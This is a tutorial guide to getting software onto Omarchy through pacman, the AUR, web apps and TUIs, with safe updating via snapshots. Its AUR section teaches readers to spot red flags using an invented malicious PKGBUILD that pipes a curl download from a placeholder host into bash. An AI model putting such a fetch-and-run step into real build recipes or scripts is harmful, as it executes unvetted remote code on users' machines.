# Installing and Updating Software on Omarchy > Learn how software reaches an Omarchy machine through pacman, the Omarchy repository, the AUR, web apps, and TUIs, how omarchy update keeps a rolling release safe with snapshots, and how to judge an AUR package by reading its PKGBUILD. --- # Installing and Updating Software on Omarchy There is no Downloads folder full of installers here, no app store window, and no `apt`. Omarchy is built on Arch Linux, so software arrives as packages managed by `pacman`, with Omarchy's menu and command wrapped around it. The first week usually brings two worries: "where do I get my apps" and "what if an update breaks everything". This guide answers both. You will learn where each kind of software comes from and how much to trust it, how to install and remove without leaving clutter, how `omarchy update` takes a snapshot before changing anything, and how to read an AUR recipe before you run it. Checked against Omarchy 4.0.4. ## Prerequisite You should be comfortable opening the Omarchy menu and running a command in a terminal. [Omarchy Menus, Panels, and the CLI](/guides/omarchy-menus-panels-and-cli) covers both. If a few Linux words feel unfamiliar, [Linux From Zero](/guides/linux-from-zero) fills the gaps, and [The Filesystem Explained](/guides/the-filesystem-explained) explains why the system and your home folder are treated differently. ## How to read this - **Installing something right now?** Jump to Phase 2. - **Nervous about the first update?** Read Phase 3 before you press the update badge. - **About to type `yay` or pick Install > AUR?** Read Phase 4 first. It takes ten minutes and changes what you click. - **Want it to make sense?** Read in order. ## The phases 1. **[Where Software Comes From](01-where-software-comes-from.md)** - packages, repositories, the AUR, web apps, and what each source means for trust. 2. **[Installing, Removing, and Wrapping Apps](02-installing-removing-and-wrapping-apps.md)** - the Install and Remove menus, the `omarchy pkg` commands, web apps, and TUIs. 3. **[Updating a Rolling Release Safely](03-updating-a-rolling-release-safely.md)** - what `omarchy update` does in order, why raw `pacman -Syu` is blocked, channels, and rolling back with a snapshot. 4. **[The AUR, Risk, and Reading a PKGBUILD](04-the-aur-risk-and-reading-a-pkgbuild.md)** - what anyone-can-upload means, the red flags in a build recipe, and how to keep AUR packages on a short leash. ## Where this guide stops Language toolchains, Docker, and shell setup are in [The Omarchy Terminal Workflow](/guides/the-omarchy-terminal-workflow). Plugins for the Omarchy shell are a different kind of add-on, covered in [Omarchy Plugins and the Marketplace](/guides/omarchy-plugins-and-the-marketplace). A system that will not boot after an update is covered in [When Omarchy Breaks](/guides/when-omarchy-breaks). --- # Where Software Comes From On Windows you download an installer from a website and click through it. On macOS you drag an app into a folder or use the App Store. Either way you are trusting whatever the download was. Omarchy works differently. Software comes from a small number of named places, and a program called a package manager installs it from one of them. Once you know the places, "can I trust this" becomes a question with an answer. ## A package is a labeled box A **package** is an archive of files plus a label that says what the software is, which version it is, and which other packages it needs. Those needs are **dependencies**: if an app needs a graphics library to run, the label says so, and the installer fetches the library too. The **package manager** reads those labels. It installs the files, remembers exactly which files belong to which package, and can later remove them cleanly. On Omarchy the package manager is **pacman**, inherited from Arch Linux. It is not `apt`, and it is not `snap`. That record-keeping is the reason Linux software does not rot the way a pile of Windows installers does. The system always knows what it installed. ## The four places software lives | Source | What it is | Who vouches for it | |---|---|---| | **Arch repositories** | The official Arch collections (core, extra, multilib) | The Arch project's packagers | | **Omarchy Package Repository** | Omarchy's own packages, including Omarchy itself | The Omarchy team, with signed packages | | **The AUR** | The Arch User Repository: build recipes submitted by anyone | Nobody in particular. See Phase 4 | | **Launchers** | Web apps and terminal programs wrapped as menu entries | The website or program you point them at | The Omarchy manual's security chapter says the base install relies on Arch's core, extra, and multilib repositories plus the Omarchy Package Repository. Only a few optional installs, such as third-party browsers, pull from the AUR. So a fresh machine starts on the first two rows. The AUR deserves its own phase because the manual's description of it is blunt: it "isn't vetted by the Arch team", it is "like RubyGems or npm", and anyone can upload. ```mermaid flowchart LR A["Arch repositories"] --> P["pacman"] B["Omarchy repository"] --> P C["AUR recipes"] --> Y["yay builds them"] Y --> P P --> S["Your system"] W["Web app or TUI"] --> L["Launcher entry only"] ``` *What just happened:* Packages from the two trusted repositories go straight to pacman. AUR recipes are built on your machine by a helper called **yay**, which hands the result to pacman. Web apps and TUIs are not installed software at all. They are launcher entries that open a URL or a terminal command. ## Rolling release: no version day Ubuntu has versions such as 24.04, and you upgrade between them every so often. Arch has no such moment. It is a **rolling release**: packages move forward continuously, and one update brings the newest version of everything. That is good for security, since a fix reaches you quickly. The Omarchy manual calls this out as a benefit. The cost is that new versions sometimes change how a program is configured. Omarchy softens this in two ways. Its stable channel follows a mirror of Arch that runs one month behind, so incompatibilities get caught first, and its update command takes a snapshot before changing anything. Phase 3 covers both. ## What the Install menu maps to Open the Omarchy menu with `Super + Space` and choose **Install**. In version 4.0.4 the entries are: | Entry | Source | |---|---| | **Package** | Arch and Omarchy repositories, through a filterable list | | **AUR** | The AUR, through a filterable list | | **Web App** | A launcher entry for a URL | | **TUI** | A launcher entry for a terminal program | | **Style** | Themes, backgrounds, fonts | | **Service** | Apps such as 1Password, Dropbox, Spotify, Signal, Tailscale | | **Development, Editor, Terminal, Browser, AI, Gaming, Windows** | Curated setups that install packages and configure them for Omarchy | | **Preinstalls** | Restores the preinstalled apps if you removed them | The curated entries do more than install a package. For example, the command behind _Install > Editor > Helix_ installs Helix and configures it to use the current Omarchy theme. When an entry exists for what you want, prefer it over a bare package. The development entries are mostly managed by **mise**, a tool that installs language runtimes per user. For example, `mise use -g ruby` installs Ruby and makes it the global default. That is a different system from pacman, and the update command refreshes it too. ## Linux words you will meet 📝 **Terminology.** - **Repository** - a server holding packages and an index of what it has. - **Mirror** - a copy of a repository on another server, so downloads are fast. - **Foreign package** - an installed package that is not in any of your configured repositories. On Omarchy these are typically AUR packages. - **Orphan** - a package installed only as a dependency that nothing needs any more. ## Why this matters Every question you will have next is a question about source. Is this safe to install? Where does it update from? How do I remove it completely? The answer follows from which of the four places it came from. Hold on to that table. Check yourself before moving on: ```quiz [ { "q": "Which statement about the AUR matches the Omarchy manual?", "choices": [ "It is vetted by the Arch team before packages appear", "It is not vetted by the Arch team, and anyone can upload", "It is the main source for Omarchy's own packages" ], "answer": 1, "explain": "The manual compares the AUR to RubyGems or npm: anyone can upload. Omarchy's own packages come from the Omarchy Package Repository.", "why": ["The opposite is true: nobody vets AUR uploads.", null, "Omarchy ships from its own repository, not the AUR."] }, { "q": "You choose Install > Web App and add a site. What did you install?", "choices": [ "A package from the Arch repositories", "A launcher entry that opens the URL in a frameless window", "A copy of the website's source code" ], "answer": 1, "explain": "Web apps are launcher entries. Nothing is installed in the pacman sense." }, { "q": "What does 'rolling release' mean for your updates?", "choices": [ "You reinstall the system every few years for a new version", "Packages move forward continuously, so one update brings newer versions of everything", "Only security fixes are ever delivered" ], "answer": 1, "explain": "There is no version-day upgrade. That is why a pre-update snapshot matters." } ] ``` ## Recap 1. A package is files plus a label of dependencies, and pacman tracks every file it installs. 2. Software comes from the Arch repositories, the Omarchy repository, the AUR, or launcher entries. 3. The base install relies on the first two. The AUR is open to any uploader. 4. A rolling release has no version day. Omarchy's stable channel and pre-update snapshot reduce the risk. 5. The Install menu maps onto those sources, and curated entries configure the app for Omarchy. Next up, [Installing, Removing, and Wrapping Apps](02-installing-removing-and-wrapping-apps.md): the real clicks and commands. --- # Installing, Removing, and Wrapping Apps You know where software comes from. Now you want to install one thing, and later get rid of another one without leaving junk behind. Omarchy gives you a menu for it, a command for it, and the raw `pacman` underneath. ## Install > Package Press `Super + Space`, choose **Install**, then **Package**. A terminal opens with a filterable list of every package in the repositories. Type a few letters and the list narrows. That is fuzzy matching: the letters need not be contiguous. The picker is built on a tool called `fzf`. The footer shows the keys: `Tab` selects several packages at once, `alt-p` toggles the description preview, and `alt-j` and `alt-k` scroll it. Pick one or more, press `Return`, and Omarchy installs them with pacman. ⚠️ **Gotcha.** The picker installs with `pacman -S --noconfirm`, so pacman does not stop to ask "install these N packages?" Read the preview before you press `Return`. ## The command form: omarchy pkg add The same job from a terminal, using the example from the command's own help: ```bash omarchy pkg add jq ripgrep ``` This installs the packages if they are missing, and quietly does nothing for any already installed. Under the hood it runs `sudo pacman -S --noconfirm --needed` on the names you gave. The `--needed` flag tells pacman not to reinstall what is already current. Afterward it checks that each package really arrived and prints an error if one did not. Three related commands answer questions without changing anything: ```console $ omarchy pkg present jq && echo "jq is here" jq is here $ omarchy pkg missing nonexistent-package-xyz && echo "not installed" not installed ``` *What just happened:* `present` is true only when every named package is installed, and `missing` is true when any is absent. Both return an exit status you can chain with `&&`. ## Looking things up with pacman Read-only pacman questions are always safe to ask. They are documented in the pacman manual: | Command | Answers | |---|---| | `pacman -Ss word` | Which packages in the repositories mention this word? | | `pacman -Si name` | What is this repository package, and what does it depend on? | | `pacman -Qi name` | What is installed under this name? | | `pacman -Ql name` | Which files does this installed package own? | | `pacman -Qe` | Which packages did I choose to install, as opposed to dependencies? | | `pacman -Qm` | Which installed packages are not in any configured repository? | Use the `-Q` family to learn what is on your machine and the `-S` family to learn what could be. ## Remove > Package, and what -Rns takes with it _Remove > Package_ lists the packages you explicitly installed and removes the ones you pick. The command form is: ```bash omarchy pkg drop name-of-package ``` Both end up running `pacman -Rns`. Here is what the three letters mean: - **R** - remove the package. - **s** - also remove dependencies that were installed for it, as long as nothing else needs them and you did not install them yourself. - **n** - do not leave `.pacsave` backup copies of its config files. The manual puts the result plainly: it removes the package, its config files, and its dependencies. The practical consequence is that a clean removal leaves no leftovers, and also that you cannot get back your old settings for that package by reinstalling. `omarchy pkg drop` ignores any name that is not installed, so it is safe to put in a script. If another package still needs what you tried to remove, pacman refuses the transaction rather than breaking that package. ⚠️ **Gotcha.** Like the install picker, the removal list passes `--noconfirm`. A mis-click does not get a second prompt. Check your selection before pressing `Return`. ## Web apps: a website that behaves like an app A **web app** on Omarchy is a launcher entry that opens a site in a frameless browser window. It has its own place in the app launcher and can have its own hotkey. Nothing is installed with pacman. To add one, choose _Install > Web App_. Omarchy asks for a name, a URL, and an icon URL. The icon URL is only needed if it cannot fetch the site's favicon. The manual recommends [Dashboard Icons](https://dashboardicons.com) for good PNG icons. Afterward the app appears when you open the menu with `Super + Space`. To remove one, use _Remove > Web App_. - **Log in first in a regular browser.** The manual notes the thin wrapper frame does not work well with the 1Password extension. - **Copy the current page URL** with `Alt + Shift + L` while inside a web app. - **Hotkeys** for web apps can be changed in `~/.config/hypr/bindings.lua`. Omarchy ships with a set of preinstalled web apps with hotkeys, such as HEY email on `Super + Shift + E`, ChatGPT on `Super + Shift + A`, and YouTube on `Super + Shift + Y`. If you will never use them, _Remove > Preinstalls_ removes the web apps, TUIs, and optional apps, and their hotkeys go away with them. _Install > Preinstalls_ brings them back. ## TUIs: terminal programs as launcher entries A **TUI** is a text-interface program that runs inside a terminal window, such as `btop`. _Install > TUI_ asks for a name, a launch command, a window style, and an icon, then adds an entry to the launcher. Remove it under _Remove > TUI_. This is the right tool when you already have a command-line program installed and want it one keypress away, without making it a package. ## Choosing the right door | You want | Use | |---|---| | A normal application from the repositories | _Install > Package_ or `omarchy pkg add` | | An editor, browser, or service Omarchy already knows | The matching _Install_ entry, which also configures it | | A website that feels like an app | _Install > Web App_ | | A terminal program one key away | _Install > TUI_ | | A program only in the AUR | _Install > AUR_, after Phase 4 | | Removal of any of the above | The matching _Remove_ entry | ## Your turn: a round trip Pick any small tool you recognize from the package list, install it with `omarchy pkg add`, check it with `omarchy pkg present`, then remove it with `omarchy pkg drop`. ```exercise [ { "type": "predict", "task": "In `pacman -Rns`, which letter stops pacman from leaving `.pacsave` backup copies of config files? Write the single letter.", "accept": ["n"], "hint": "Look at the list of what each letter does above." }, { "type": "task", "task": "Do the round trip: install a small package with `omarchy pkg add`, confirm with `omarchy pkg present && echo yes`, then remove it with `omarchy pkg drop` and confirm with `omarchy pkg missing && echo gone`.", "reveal": "Example shape: omarchy pkg add NAME, then omarchy pkg present NAME && echo yes, then omarchy pkg drop NAME, then omarchy pkg missing NAME && echo gone.", "checklist": ["Installed the package", "Saw yes after the first check", "Removed the package", "Saw gone after the second check"] } ] ``` Check yourself before moving on: ```quiz [ { "q": "Why can reading the preview in Install > Package matter more than it would in a typical installer?", "choices": [ "Because the picker installs with --noconfirm, so pacman will not ask again", "Because packages are installed to your home folder", "Because Return only previews the package" ], "answer": 0, "explain": "The picker passes --noconfirm, so your selection is the last checkpoint." }, { "q": "You run omarchy pkg drop on a package. What is removed?", "choices": [ "Only the package's program files", "The package, its config files, and dependencies nothing else needs", "Every package you installed in the last week" ], "answer": 1, "explain": "It runs pacman -Rns: remove, recursive dependencies, and no .pacsave backups." }, { "q": "What kind of thing is a web app added from Install > Web App?", "choices": [ "A pacman package", "A launcher entry that opens a URL in a frameless window", "An AUR build" ], "answer": 1, "explain": "Nothing is installed with pacman. It is a launcher entry." } ] ``` ## Recap 1. _Install > Package_ opens a filterable list, installs with `--noconfirm`, and lets you select several with `Tab`. 2. `omarchy pkg add` installs missing packages, and `present` and `missing` check state for scripts. 3. `pacman -Q` and `-S` read-only queries are safe ways to learn what is installed or available. 4. `omarchy pkg drop` and _Remove > Package_ run `pacman -Rns`, which also removes config files. 5. Web apps and TUIs are launcher entries, not packages, and are removed from their own menu entries. Next up, [Updating a Rolling Release Safely](03-updating-a-rolling-release-safely.md): what happens when you press the update badge. --- # Updating a Rolling Release Safely A rolling release means the next update could change anything, and that is why people fear it. Omarchy's answer is a single blessed command that does the update in a fixed, safe order, and starts by taking a restore point. This phase walks through what that command does so the progress output is no longer a wall of text, and shows how to undo an update that went wrong. ## Starting an update There are three equivalent ways to start one: - Click the **circle arrow** that appears to the right of the clock when a new Omarchy release exists. - Choose _Update > Omarchy_ from the menu (`Super + Space`). - Run `omarchy update` in a terminal. With `-y` it skips the confirmation, which is a promise not to be asked anything. Unless you passed `-y`, it asks you to confirm first. The update runs in a terminal window and keeps a transcript at `/tmp/omarchy-update.log`. ## What happens, in order Omarchy is installed as ordinary pacman packages from the Omarchy Package Repository, so updating Omarchy and updating the system are one transaction, followed by steps that need your user account. ```mermaid flowchart TD A["Free space check"] --> B["You confirm"] B --> C["Snapshot"] C --> D["Package upgrade"] D --> E["Migrations"] E --> F["AUR and mise updates"] F --> G["Orphan review, restart prompt"] ``` Here is what each step is, taken from Omarchy's update script and its update-process notes. 1. **Free space check.** If the root filesystem has less than 10 GiB free, the update stops before asking you anything. An experienced user can bypass it by setting `OMARCHY_UPDATE_FORCE=1`, though freeing space is the better fix. 2. **Package cache prune.** Old versions are pruned so that two versions of each package stay. The cache is the only offline way to downgrade a package. 3. **Snapshot.** A system snapshot is created with snapper. If snapper is not installed the update carries on without one, and if the snapshot fails for any other reason it prints a warning and carries on. Watch for that warning, because a missing snapshot is not a snapshot. 4. **Keyring refresh.** The Omarchy and Arch keyrings, which verify package signatures, are brought up to date. 5. **Package upgrade.** The system packages update, including Omarchy. 6. **Migrations.** More on this below. 7. **Post-update hooks, then AUR packages** if you have any installed, then **mise-managed tools** such as AI agent launchers. 8. **Orphan review.** It lists packages nobody needs and asks before removing any, defaulting to no. 9. **Log analysis and restart check.** It scans the transcript for known failure patterns, then prompts for a reboot when the kernel or Hyprland changed. The Omarchy shell is always restarted after an update. The order is deliberate. The notes say migrations ship with the new packages and are written against them, so nothing after the package step runs if the upgrade failed. ### Migrations: catching your config up A **migration** is a small script that adjusts your own files to match the new release, for example moving a setting to a new name. They run per user after pacman finishes, because they may need your home folder, your desktop session, or `sudo`. Completion markers live in `~/.local/state/omarchy/migrations/`, so each migration runs once per user. ## Why raw pacman -Syu is blocked On other Arch systems the update command is `pacman -Syu`. On Omarchy, typing it fails with a message pointing you to `omarchy update`. This is intentional: a direct upgrade would skip the snapshot, the migrations, and the configuration updates that Omarchy runs together with new packages. Omarchy installs a pacman hook that detects a direct system upgrade and aborts the transaction before any package changes. The same applies to `yay -Syu`. If you truly need to bypass it for one transaction, the guard prints how: ```bash sudo env OMARCHY_ALLOW_DIRECT_PACMAN=1 pacman -Syu ``` If you do bypass it, the system tells you at your next login when migrations are pending, and clicking the notification opens a terminal running `omarchy migrate`. But you have still skipped the snapshot. The pacman manual notes that `-y` should typically be used together with `-u`, so do not run a refresh-only `pacman -Sy` followed by an install. Use Omarchy's tools. ## The four channels | Channel | Follows | For whom | |---|---|---| | **stable** | Official Omarchy releases and a stable Arch mirror that runs one month behind | Everyone. New installs start here | | **rc** | Release candidates, used for final validation before a major release | People helping polish | | **edge** | The latest development builds and the newest Arch packages | Experienced users who can recover a broken system | | **dev** | A git checkout of Omarchy in `~/omarchy`, combined with the edge packages | People working on Omarchy itself | Switch under _Update > Channel_ or with `omarchy channel set `. Check yours with `omarchy channel current`, and the installed version with `omarchy version`. The one-month lag on stable is the safety margin. Arch changes land first on edge users, and the Omarchy team gets time to add the config fixes before stable sees them. ## Firmware is separate BIOS, SSD, and dock firmware are not part of `omarchy update`. _Update > Firmware_ installs `fwupd` the first time you use it, then fetches whatever your hardware has waiting. Many firmware updates can only be written during a reboot, so expect a prompt. ## When an update goes wrong: the snapshot If something breaks after an update, you roll back to the snapshot taken right before it. 1. **Restart** and pick the snapshot from the Limine boot menu. The Omarchy version at the time of each snapshot shows in the bottom-left corner. 2. After you boot in, a notification offers to start the restoration. You can also run `omarchy snapshot restore` yourself. What a snapshot covers and does not cover is where people get hurt: - It restores the **root filesystem**, not `/home`. It undoes a broken update. It does not recover lost personal files. - Your `~/.config` stays as it is. If you roll back to an older program that expects a different config format, you sort that out by hand. - Snapshots only work on installs that use the Limine bootloader, which is the default. - Omarchy keeps a small number of snapshots. Its snapper policy keeps five numbered ones and takes none on a timer, so they come from updates and from `omarchy snapshot create`. You can also take one yourself before anything risky: ```bash omarchy snapshot create ``` If you turned on _Setup > Direct Boot_ to skip the boot menu, choose Limine from your BIOS boot menu first to reach the snapshots. If your configuration files themselves are corrupted, `omarchy reinstall` reinstalls the default packages, puts you on stable, downgrades packages that are too new, and resets your configs. That last part overwrites your changes. [When Omarchy Breaks](/guides/when-omarchy-breaks) covers the whole recovery ladder. ⚠️ **Gotcha.** If a failed update tells you to retry, read the output above the error first. The transcript is at `/tmp/omarchy-update.log`. Copy it somewhere permanent if you plan to ask for help, since `/tmp` is a scratch folder. ## Your turn: read the plan ```exercise [ { "type": "predict", "task": "How many GiB of free space on the root filesystem does omarchy update require before it will start?", "accept": ["10", "10 gib", "10gib"], "hint": "The update stops before the confirmation prompt when free space is below this threshold." }, { "type": "task", "task": "Without updating anything, find out which channel and version you are on, and which snapshots exist. Write down the two commands you used.", "reveal": "omarchy channel current and omarchy version. Snapshots are visible in the Limine boot menu, where the Omarchy version shows in the bottom-left corner.", "checklist": ["Ran omarchy channel current", "Ran omarchy version", "Know where snapshots are listed"] } ] ``` Check yourself before moving on: ```quiz [ { "q": "You are used to Arch and type sudo pacman -Syu. What happens on Omarchy 4.0.4?", "choices": [ "It upgrades everything as usual", "A pacman hook aborts it and points you to omarchy update, because a direct upgrade would skip the snapshot and migrations", "It upgrades packages but not Omarchy itself" ], "answer": 1, "explain": "The guard aborts direct system upgrades unless you set OMARCHY_ALLOW_DIRECT_PACMAN=1 for one transaction.", "why": ["The guard blocks it.", null, "The guard stops the whole transaction."] }, { "q": "After a bad update you restore a snapshot. What does it bring back?", "choices": [ "Your root filesystem as it was before the update, but not your /home", "Everything, including documents you deleted yesterday", "Only your ~/.config files" ], "answer": 0, "explain": "Snapshots restore the root filesystem. Your home folder, including ~/.config, is left as it is." }, { "q": "Why does the stable channel use an Arch mirror that runs one month behind?", "choices": [ "So incompatibilities that need config changes are caught before they reach stable users", "Because new Arch packages are not allowed on Omarchy", "To save disk space" ], "answer": 0, "explain": "The delay gives the Omarchy team time to catch problems that need config changes." } ] ``` ## Recap 1. Start an update from the circle arrow, _Update > Omarchy_, or `omarchy update`. 2. The order is free space check, confirm, snapshot, package upgrade, migrations, AUR and mise updates, orphan review, restart check. 3. Migrations adjust your own config files to the new release, once per user. 4. Raw `pacman -Syu` is blocked because it would skip the snapshot and migrations. `OMARCHY_ALLOW_DIRECT_PACMAN=1` bypasses it for one transaction. 5. Stable follows a one-month-behind Arch mirror, and edge and dev are for people who can recover a broken system. 6. A snapshot restores the root filesystem, not `/home`, and `omarchy snapshot create` takes one on demand. Next up, [The AUR, Risk, and Reading a PKGBUILD](04-the-aur-risk-and-reading-a-pkgbuild.md): the one source nobody vets. --- # The AUR, Risk, and Reading a PKGBUILD The Arch User Repository is why Arch people say "there is a package for everything". It is also the one source on your machine where a stranger decides what code you run. You do not need to avoid it. You need to read before you install, the way you would read before pasting a command from a forum. The manual's own summary is short: the AUR "isn't vetted by the Arch team", it is "like RubyGems or npm", and anyone can upload. This phase shows what that means in practice and how to read the recipe in five minutes. ## What an AUR package actually is The AUR does not hold programs. It holds **recipes**. Each one is a file called a **PKGBUILD**: a small shell script that says where to download the source, how to build it, and which files to install. When you pick an AUR package, a helper called **yay** downloads the recipe, builds the software on your machine with `makepkg`, then hands the finished package to pacman. That has two consequences: - **Building runs code as you.** The build steps execute on your computer with your permissions, before anything is "installed". - **Installing can run code as root.** A package can carry an install script, which pacman runs with root privileges when it installs, upgrades, or removes the package. Nobody at Arch reviewed the recipe before it appeared, so the maintainer's good intentions are the main safeguard. Most AUR packages are fine, and the cost of the rare bad one is high. ## Where Omarchy touches the AUR - _Install > AUR_ opens a filterable list of AUR packages, like the Package picker. - `omarchy pkg aur add ` installs one from a script, with yay. - The base install avoids the AUR. Only a few optional installs, such as third-party browsers, pull from it. - Two details from Omarchy's own scripts are worth knowing: - The AUR picker installs with `yay -S --noconfirm`, so yay does not stop to ask you questions. Your review has to happen **before** you press `Return`. - `omarchy update` updates AUR packages on every update whenever you have any installed, running `yay -Sua --noconfirm` with a couple of compiler packages excluded. Installing one AUR package once means its later versions arrive automatically, built from whatever the recipe says at that time. That second point is the one most people miss. A recipe you reviewed in March is not the recipe that builds in September. ## Anatomy of a PKGBUILD Here is an invented, harmless recipe for a pretend notes tool. Real ones look like this. ```bash # Maintainer: Example Person pkgname=tidy-notes pkgver=1.4.2 pkgrel=1 pkgdesc="A tiny terminal notes tool" arch=('x86_64') url="https://github.com/example/tidy-notes" license=('MIT') depends=('glibc') makedepends=('go') source=("$pkgname-$pkgver.tar.gz::https://github.com/example/tidy-notes/archive/v$pkgver.tar.gz") sha256sums=('<64 hex characters, elided here>') build() { cd "$pkgname-$pkgver" go build -o tidy-notes . } package() { cd "$pkgname-$pkgver" install -Dm755 tidy-notes "$pkgdir/usr/bin/tidy-notes" } ``` Read it as three groups, using the Arch PKGBUILD manual's definitions: | Part | Meaning | |---|---| | `pkgname`, `pkgver`, `pkgrel` | The package name, the upstream version, and the packager's own release counter | | `depends`, `makedepends` | Packages needed to run it, and packages needed only while building | | `source` | Where the code comes from. This is the line that matters most | | `sha256sums` | Checksums that must match the downloaded files, so a swapped file is caught | | `prepare()`, `build()`, `check()`, `package()` | Steps that run before the build, compile, run tests, and copy files into the package | In `package()`, `$pkgdir` is a staging folder, not your real system. The files placed there become the package. A recipe that writes elsewhere is doing something unusual. ## Five lines that deserve suspicion Now an invented, deliberately bad version of the same recipe. None of these lines is proof of malice, and each one is a reason to slow down. ```bash source=("https://paste.example.net/raw/xk29") sha256sums=('SKIP') install=tidy-notes.install build() { curl -s https://example.net/setup.sh | bash } ``` 1. **The source is not the project's own release.** A paste site or an unrelated domain is not where upstream publishes. Compare the `source` host to the `url` line and to the project's real home. 2. **`sha256sums=('SKIP')`.** This disables the integrity check for that file. Packages that track a git branch often use `SKIP` legitimately, because the branch moves. That is a normal pattern, but it means you trust whatever the branch contains at build time. 3. **`install=` names a scriptlet.** That script runs as root. Open the named file and read it. 4. **A download piped into a shell**, such as `curl ... | bash`, inside any function. It runs whatever the server returns that day. 5. **Anything asking for `sudo`**, deleting outside `$pkgdir`, or touching your home folder. A build has no reason to. Soft signals live on the package's AUR web page: the last-updated date, votes, popularity, comments, and who maintains it. They are useful context. They are not security, because votes can be gamed and a trusted package can change hands. ## How to read the recipe in Omarchy In the _Install > AUR_ picker, the footer lists preview keys. `alt-p` toggles the description, and `alt-b` and `alt-B` switch the preview between the package's PKGBUILD and its details. Read the PKGBUILD before you press `Return`. From a terminal, the picker uses `yay -Gpa` to print a recipe, so you can do the same without installing anything: ```bash yay -Gpa tidy-notes ``` Read it top to bottom. Check that the `source` host matches the project, that the checksums are real or the `SKIP` is explained, and that no function does network tricks. The answer to "does this look right" does not require knowing every command. You are checking for surprise. ## Keeping AUR packages on a short leash - **Prefer the repositories.** If the program is in Arch's repositories or Omarchy's, use that. Search with `pacman -Ss name` first. - **Know what you installed.** `pacman -Qem` lists explicitly installed packages that are not in any configured repository. On Omarchy that is mostly your AUR packages. Review the list now and then and remove what you stopped using with _Remove > Package_. - **Snapshot before a risky install.** `omarchy snapshot create` takes a restore point. It only covers the root filesystem, so it does not undo a malicious build reading or copying your `/home`. - **Treat updates as installs.** Because `omarchy update` rebuilds AUR packages automatically, an AUR package you no longer trust is a standing risk. Remove it. - **Slow down on very new or one-off packages**, especially ones that claim to be a well-known tool under an unusual name. ⚠️ **Gotcha.** The preview in the picker is yay's own listing of the recipe. It is not a security scan. Nothing in Omarchy tells you a recipe is safe. That judgment is yours, which is exactly what the manual means by "anyone can upload". ## Your turn: spot the red flags ```exercise [ { "type": "predict", "task": "In a PKGBUILD, which value for sha256sums tells makepkg to skip the integrity check for that file? Write it without quotes.", "accept": ["skip", "/^skip$/i"], "hint": "It is the word in the bad example above." }, { "type": "task", "task": "Pick an AUR package you are curious about. Read its PKGBUILD with `yay -Gpa ` without installing it. Note the source host, whether checksums are real, whether there is an install= line, and whether any function pipes a download into a shell.", "reveal": "A clean recipe has a source host that matches the project's own release, real checksums (or an explained SKIP for a git source), no install= scriptlet unless the program genuinely needs one, and no curl-to-shell or sudo in its functions.", "checklist": ["Checked the source host", "Checked the checksums", "Looked for an install= line", "Looked for download-to-shell or sudo"] } ] ``` Check yourself before moving on: ```quiz [ { "q": "You install one AUR package today. What does Omarchy do with it on future updates?", "choices": [ "Nothing. AUR packages are never updated automatically", "omarchy update rebuilds and updates installed AUR packages using yay, without stopping to ask", "It asks you to review the new recipe each time" ], "answer": 1, "explain": "The update pipeline runs yay -Sua --noconfirm when AUR packages are installed, so recipe changes reach you without a second review.", "why": ["The update script includes an AUR step.", null, "The --noconfirm flag tells yay not to ask questions."] }, { "q": "A PKGBUILD has install=setup.install. Why should you read that file?", "choices": [ "It runs as root when pacman installs, upgrades, or removes the package", "It only contains the package description", "It is the checksum list" ], "answer": 0, "explain": "Install scriptlets run with root privileges, so they deserve a read." }, { "q": "Why does a pre-install snapshot not fully protect you from a malicious AUR build?", "choices": [ "Snapshots are encrypted", "A snapshot covers the root filesystem, not /home, so it cannot undo files read or copied from your home folder", "Snapshots cannot be restored on Omarchy" ], "answer": 1, "explain": "Restoring a snapshot reverts the root filesystem. It does not recover or protect personal data in /home." } ] ``` ## Recap 1. The AUR holds build recipes (PKGBUILDs), not vetted programs, and anyone can upload one. 2. Building runs code as you, and an install scriptlet can run code as root. 3. The lines to check are `source`, `sha256sums` (especially `SKIP`), `install=`, download-to-shell, and `sudo`. 4. Omarchy's AUR picker and update both pass `--noconfirm`, and updates rebuild AUR packages automatically. 5. Read the recipe in the picker preview or with `yay -Gpa ` before you press `Return`. 6. Prefer the repositories, list your foreign packages with `pacman -Qem`, and remove what you stop trusting.